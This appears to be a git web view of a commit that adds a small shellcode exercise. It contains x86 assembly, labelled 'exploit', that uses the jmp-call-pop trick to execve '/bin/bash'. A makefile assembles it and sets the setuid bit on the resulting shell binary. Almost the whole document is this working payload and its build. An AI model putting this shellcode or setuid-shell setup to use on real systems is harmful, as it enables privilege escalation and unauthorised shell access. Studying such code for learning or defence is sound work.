summaryrefslogtreecommitdiff
path: root/exec_cmd
diff options
context:
space:
mode:
authorBrett Weiland <techcrazybsw@gmail.com>2020-11-20 17:57:20 -0600
committerBrett Weiland <techcrazybsw@gmail.com>2020-11-20 17:57:20 -0600
commit0c7b4ed75157aa9d781e4eec92a0a604c4c45c9c (patch)
tree82d890d910645693ec9140a415f95ae13ab1b85e /exec_cmd
new file: exec_cmd/makefileHEADmaster
new file: exec_cmd/shell new file: exec_cmd/shell.asm new file: exec_cmd/shell.o new file: exec_cmd_setuid/makefile new file: exec_cmd_setuid/shell new file: exec_cmd_setuid/shell.asm new file: exec_cmd_setuid/shell.o
Diffstat (limited to 'exec_cmd')
-rw-r--r--exec_cmd/makefile5
-rwxr-xr-xexec_cmd/shellbin0 -> 4268 bytes
-rw-r--r--exec_cmd/shell.asm19
-rw-r--r--exec_cmd/shell.obin0 -> 528 bytes
4 files changed, 24 insertions, 0 deletions
diff --git a/exec_cmd/makefile b/exec_cmd/makefile
new file mode 100644
index 0000000..676ee34
--- /dev/null
+++ b/exec_cmd/makefile
@@ -0,0 +1,5 @@
+make:
+ nasm shell.asm -felf32 -o shell.o
+ ld -m elf_i386 shell.o -o shell -s
+ chmod u+s shell
+
diff --git a/exec_cmd/shell b/exec_cmd/shell
new file mode 100755
index 0000000..9ea0d3b
--- /dev/null
+++ b/exec_cmd/shell
Binary files differ
diff --git a/exec_cmd/shell.asm b/exec_cmd/shell.asm
new file mode 100644
index 0000000..d90d9a4
--- /dev/null
+++ b/exec_cmd/shell.asm
@@ -0,0 +1,19 @@
+global _start
+_start:
+jmp short data
+
+exploit:
+xor eax, eax
+xor ebx, ebx
+xor ecx, ecx
+pop edx
+mov [edx + 10], eax
+mov al, 11
+mov ebx, edx
+xor edx, edx
+int 0x80
+
+
+data:
+call exploit
+cmd: db '/bin/bash'
diff --git a/exec_cmd/shell.o b/exec_cmd/shell.o
new file mode 100644
index 0000000..50283e1
--- /dev/null
+++ b/exec_cmd/shell.o
Binary files differ